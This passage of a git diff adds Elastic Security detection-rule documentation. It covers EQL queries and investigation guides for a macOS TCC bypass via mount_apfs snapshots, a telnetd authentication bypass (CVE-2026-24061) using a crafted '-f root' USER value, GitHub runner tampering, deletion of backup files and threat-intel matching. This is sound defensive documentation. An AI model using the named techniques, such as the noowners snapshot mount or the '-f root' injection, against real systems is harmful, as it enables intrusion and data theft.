preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For Linux, this rule requires the linux.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID". +- For macOS, this rule requires the macos.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type in ("linux", "macos") and event.type == "start" and event.action == "exec" and +process.parent.name in ("Runner.Worker", "Runner.Listener") and process.env_vars like~ "RUNNER_TRACKING_ID*" and +not process.env_vars like~ "RUNNER_TRACKING_ID=github_*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc new file mode 100644 index 0000000000..500dfc8153 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-tcc-bypass-via-mounted-apfs-snapshot-access]] +=== TCC Bypass via Mounted APFS Snapshot Access + +Identifies the use of the mount_apfs command to mount the entire file system through Apple File System (APFS) snapshots as read-only and with the noowners flag set. This action enables the adversary to access almost any file in the file system, including all user data and files protected by Apple’s privacy framework (TCC). + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://theevilbit.github.io/posts/cve_2020_9771/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating TCC Bypass via Mounted APFS Snapshot Access* + + +Apple's TCC framework safeguards user data by controlling app access to sensitive files. Adversaries exploit APFS snapshots, mounting them with specific flags to bypass these controls, gaining unauthorized access to protected data. The detection rule identifies this misuse by monitoring the execution of the `mount_apfs` command with parameters indicative of such bypass attempts, flagging potential security breaches. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `mount_apfs` command with the specific arguments `/System/Volumes/Data` and `noowners` to verify the alert's accuracy. +- Investigate the user account associated with the process execution to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the timeline of events leading up to and following the alert to identify any related suspicious activities or processes that may indicate a broader attack or compromise. +- Check for any recent changes or anomalies in system configurations or user permissions that could have facilitated the bypass attempt. +- Correlate the alert with other security logs or alerts to assess if this is part of a larger pattern of malicious behavior or an isolated incident. + + +*False positive analysis* + + +- System maintenance tools or backup software may legitimately use the mount_apfs command with the noowners flag for routine operations. Users can create exceptions for these specific tools by identifying their process names or paths and excluding them from the detection rule. +- Developers or IT administrators might use the mount_apfs command during testing or troubleshooting. To prevent these activities from triggering false positives, users can whitelist specific user accounts or IP addresses associated with these roles. +- Automated scripts or scheduled tasks that require access to APFS snapshots for legitimate purposes might trigger the rule. Users should review these scripts and, if deemed safe, add them to an exclusion list based on their unique identifiers or execution context. +- Security software or monitoring tools that perform regular checks on file system integrity might inadvertently match the rule's criteria. Users can mitigate this by identifying these tools and excluding their specific process signatures from the detection parameters. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the `mount_apfs` command to halt ongoing unauthorized access attempts. +- Conduct a thorough review of system logs and user activity to identify any data accessed or exfiltrated during the breach. +- Restore any compromised files from a known good backup to ensure data integrity and security. +- Update macOS and all installed applications to the latest versions to patch any vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring for APFS snapshot usage to prevent similar bypass attempts in the future. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "mount_apfs" and + process.args like~ "/System/Volumes/Data" and process.args like~ "noowners" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-telnet-authentication-bypass-via-user-environment-variable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-telnet-authentication-bypass-via-user-environment-variable.asciidoc new file mode 100644 index 0000000000..5e4393567e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-telnet-authentication-bypass-via-user-environment-variable.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-telnet-authentication-bypass-via-user-environment-variable]] +=== Telnet Authentication Bypass via User Environment Variable + +Identifies potential exploitation of a Telnet remote authentication bypass vulnerability (CVE-2026-24061) in GNU Inetutils telnetd. The vulnerability allows unauthenticated access by supplying a crafted `-f ` value via the `USER` environment variable, resulting in a login process spawned with elevated privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/ +* https://security-tracker.debian.org/tracker/CVE-2026-24061 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Auditd Manager +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2026-24061 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Telnet Authentication Bypass via User Environment Variable* + + +CVE-2026-24061 is a critical authentication bypass vulnerability affecting `telnetd` in GNU Inetutils. By supplying a +crafted `-f root` value through the USER environment variable, a remote attacker can bypass authentication and gain +unauthorized root-level access. This exploit results in the `login` process being executed with attacker-controlled +arguments, typically spawned by `telnetd` or via `xinetd`. + +This rule detects suspicious `login` executions associated with Telnet services that include the `-f` flag, which +forces authentication as a specified user and is indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for the suspicious `login` process. + - Confirm whether `login` was spawned by `telnetd` or indirectly via `xinetd`. + - Review the command-line arguments passed to `login`, paying special attention to the presence of `-f` and any + attempts to authenticate as `root` or other privileged users. +- Validate whether the Telnet service is expected to be running on the affected host. + - Telnet is deprecated and should rarely be exposed or enabled in modern environments. +- Investigate post-authentication activity originating from the compromised session. + - Look for command execution, file modifications, privilege escalation attempts, or persistence mechanisms. + - Review network connections initiated after the suspicious login event. +- Check for additional alerts or suspicious activity on the same host within the past 48 hours. +- Determine whether the system is running a vulnerable version of GNU Inetutils telnetd. + + +*False positive analysis* + + +- Legitimate use of the `-f` flag with `login` is extremely rare and typically restricted to trusted, local workflows. +- False positives may occur in highly customized or legacy environments where Telnet is still in use. +- Any benign occurrences should be carefully validated and documented before adding exceptions. + + +*Related Rules* + + +- Potential Telnet Authentication Bypass (CVE-2026-24061) - "ab7795cc-0e0b-4f9d-a934-1f17a58f869a" + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement. +- Terminate suspicious Telnet sessions and collect volatile forensic data where possible. +- Investigate for signs of credential access, persistence, or follow-on exploitation. +- Patch or upgrade GNU Inetutils to a version that addresses CVE-2026-24061. +- Disable the Telnet service entirely if it is not explicitly required. +- Enforce the use of secure alternatives such as SSH for remote administration. +- Rotate credentials for any accounts that may have been exposed or accessed. +- Perform a full system integrity review and antimalware scan. +- Update hardening, monitoring, and logging policies to improve detection of legacy remote access abuse. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("process_started", "executed") and process.name in ("telnetd", "xinetd")] by process.pid + [process where host.os.type == "linux" and event.type == "start" and event.action in ("process_started", "executed") and process.name == "login" and process.args : "-*f*"] by process.parent.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-temporarily-scheduled-task-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-temporarily-scheduled-task-creation.asciidoc new file mode 100644 index 0000000000..ca0a94ee5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-temporarily-scheduled-task-creation.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-temporarily-scheduled-task-creation]] +=== Temporarily Scheduled Task Creation + +Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Temporarily Scheduled Task Creation* + + +Scheduled tasks in Windows environments automate routine tasks, but adversaries exploit them for persistence and execution by creating and quickly deleting tasks to mask malicious activity. The detection rule identifies such behavior by tracking task creation and deletion within a short timeframe, flagging potential misuse when these actions occur in rapid succession without typical user patterns. + + +*Possible investigation steps* + + +- Review the winlog.computer_name field to identify the affected system and determine if it is a critical asset or part of a sensitive network segment. +- Examine the winlog.event_data.TaskName to understand the nature of the task created and deleted, and assess if it aligns with known legitimate tasks or appears suspicious. +- Investigate the user.name associated with the task creation and deletion events to determine if the activity was performed by a legitimate user or potentially compromised account. +- Check for any related events or logs around the same timeframe on the affected system to identify any additional suspicious activities or anomalies. +- Correlate the task creation and deletion events with other security alerts or incidents to determine if this activity is part of a broader attack campaign or isolated incident. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if system administrators frequently create and delete scheduled tasks for maintenance purposes. To manage this, create exceptions for known administrative accounts or specific task names that are part of regular operations. +- Automated scripts or software updates that temporarily create scheduled tasks can also cause false positives. Identify these scripts or update processes and exclude their associated user accounts or task names from the detection rule. +- Some legitimate applications may use scheduled tasks for temporary operations. Review application documentation to confirm such behavior and exclude these applications by their task names or associated user accounts. +- In environments with frequent testing or development activities, developers might create and delete tasks as part of their workflow. Consider excluding developer accounts or specific task names used in testing environments to reduce noise. +- Scheduled tasks created by monitoring or security tools for short-lived operations can be mistaken for malicious activity. Verify these tools' behavior and exclude their task names or user accounts if they are known to be safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Review the scheduled task details, including the task name and associated scripts or executables, to identify any malicious payloads or commands. +- Terminate any malicious processes or executables identified from the scheduled task analysis to stop ongoing threats. +- Restore any altered or deleted system files from a known good backup to ensure system integrity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement additional monitoring and alerting for similar scheduled task activities to enhance detection and prevent recurrence of this threat. + +==== Setup + + + +*Setup* + + +Audit Other Object Access Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-other-object-access-events + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, winlog.event_data.TaskName with maxspan=5m + [iam where host.os.type == "windows" and event.action == "scheduled-task-created" and not user.name : "*$"] + [iam where host.os.type == "windows" and event.action == "scheduled-task-deleted" and not user.name : "*$"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-third-party-backup-files-deleted-via-unexpected-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-third-party-backup-files-deleted-via-unexpected-process.asciidoc new file mode 100644 index 0000000000..da406b27f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-third-party-backup-files-deleted-via-unexpected-process.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-third-party-backup-files-deleted-via-unexpected-process]] +=== Third-party Backup Files Deleted via Unexpected Process + +Identifies the deletion of backup files, saved using third-party software, by a process outside of the backup suite. Adversaries may delete Backup files to ensure that recovery from a ransomware attack is less likely. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Third-party Backup Files Deleted via Unexpected Process* + + +Backups are a significant obstacle for any ransomware operation. They allow the victim to resume business by performing data recovery, making them a valuable target. + +Attackers can delete backups from the host and gain access to backup servers to remove centralized backups for the environment, ensuring that victims have no alternatives to paying the ransom. + +This rule identifies file deletions performed by a process that does not belong to the backup suite and aims to delete Veritas or Veeam backups. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- This rule can be triggered by the manual removal of backup files and by removal using other third-party tools that are not from the backup suite. Exceptions can be added for specific accounts and executables, preferably tied together. + + +*Related rules* + + +- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Perform data recovery locally or restore the backups from replicated copies (Cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "deletion" and + ( + /* Veeam Related Backup Files */ + ( + file.extension : ("VBK", "VIB", "VBM") and + not ( + process.executable : ("?:\\Windows\\*", "?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and + (process.code_signature.trusted == true and process.code_signature.subject_name : ("Veeam Software Group GmbH", "Veeam Software AG")) + ) + ) or + /* Veritas Backup Exec Related Backup File */ + ( + file.extension : "BKF" and + not process.executable : ( + "?:\\Program Files\\Veritas\\Backup Exec\\*", + "?:\\Program Files (x86)\\Veritas\\Backup Exec\\*" + ) + ) + ) and + not ( + process.name : ("MSExchangeMailboxAssistants.exe", "Microsoft.PowerBI.EnterpriseGateway.exe") and + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) and + not file.path : ( + "?:\\ProgramData\\Trend Micro\\*", + "?:\\Program Files (x86)\\Trend Micro\\*", + "?:\\$RECYCLE.BIN\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-email-indicator-match.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-email-indicator-match.asciidoc new file mode 100644 index 0000000000..fbf36400e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-email-indicator-match.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-threat-intel-email-indicator-match]] +=== Threat Intel Email Indicator Match + +This rule is triggered when an email indicator from the Threat Intel Filebeat module or integrations matches an event containing email-related data, such as logs from email security gateways or email service providers. + +*Rule type*: threat_match + +*Rule indices*: + +* filebeat-* +* logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html +* https://www.elastic.co/security/tip + +*Tags*: + +* Rule Type: Threat Match +* Resources: Investigation Guide +* Domain: Email + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Threat Intel Email Indicator Match Match* + + +Threat Intel indicator match rules allow matching from a local observation, such as an endpoint event that records a file hash, with an entry of a file hash stored within the Threat Intel integrations index. + +Matches are based on threat intelligence data that's been ingested during the last 30 days. Some integrations don't place expiration dates on their threat indicators, so we strongly recommend validating ingested threat indicators and reviewing match results. When reviewing match results, check associated activity to determine whether the event requires additional investigation. + +This rule is triggered when an email indicator from the Threat Intel Filebeat module or integrations matches an event containing email-related data, such as logs from email security gateways or email service providers. + + +*Possible investigation steps* + + +- Investigate the email indicator, which can be found in the threat.indicator.matched.atomic field: + - Determine the nature of the email-based threat (phishing, spam, BEC, malware attachment, etc.). + - Check the reputation of the email address, domain, and IP in threat intel platforms such as VirusTotal, AbuseIPDB, Cisco Talos, and others. + - Perform a WHOIS lookup on the sending domain to gather registration info and potential abuse contacts. + - Review historical context: Has this email indicator been observed in other events or associated with known campaigns? +- If the event is potentially phishing or BEC-related: + - Contact the recipient to gather additional context (did they interact with the email, click links, open attachments, reply, etc.). + - Review the email headers and content to identify spoofing tactics, display name impersonation, or suspicious links/domains. + - Analyze the email body and any attachments for signs of malicious intent or social engineering techniques. + - Extract and investigate any embedded links, attachments, or payloads for further IOCs. +- Check logs from email security gateways and mail servers for: + - Additional recipients or similar messages sent in the same timeframe. + - Delivery status and any filtering or quarantine actions taken. + + +*False Positive Analysis* + + +- False positives may occur when email indicators match legitimate communications. +- Some threat intelligence feeds may mistakenly include benign or internal email addresses, domains, or sender infrastructure (e.g., noreply@yourdomain.com, legitimate SaaS providers, or shared mail services). Always validate indicators before taking enforcement actions. +- Review the context of the match: Consider whether the sender domain or address is part of a known legitimate service, commonly used internally, or associated with a partner/vendor. +- Blocking or alerting based on common email domains or infrastructure (e.g., mail gateways, newsletters, cloud-based platforms) without proper validation can lead to disruptions in communication. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If a user interacted with the malicious email (clicked a link, opened an attachment, replied, etc.), isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary email filters and segmentation to prevent further delivery or spread. + - Stop suspicious processes associated with any attachments or payloads. + - Immediately block the identified indicators of compromise (IoCs), including sender addresses, domains, URLs, and file hashes. + - Inspect affected systems for additional backdoors, such as reverse shells, droppers, or tunneling tools that could enable reinfection or remote access. +- Consider reporting the sender address or domain for abuse using WHOIS or relevant abuse reporting services. +- Remove and block malicious artifacts identified during triage, including phishing emails, attachments, and URLs. +- Run a full antimalware scan. This may reveal additional artifacts, persistence mechanisms, or malware components on the system. +- Determine the initial vector abused by the attacker—e.g., bypassed email filters, spoofed domain, etc.—and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +==== Rule query + + +[source, js] +---------------------------------- +email.from.address:* or email.sender.address:* or email.reply_to.address:* or email.to.address:* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-hash-indicator-match.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-hash-indicator-match.asciidoc new file mode 100644 index 0000000000..c9fb789c92 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-hash-indicator-match.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-threat-intel-hash-indicator-match]] +=== Threat Intel Hash Indicator Match + +This rule is triggered when a hash indicator from the Threat Intel Filebeat module or 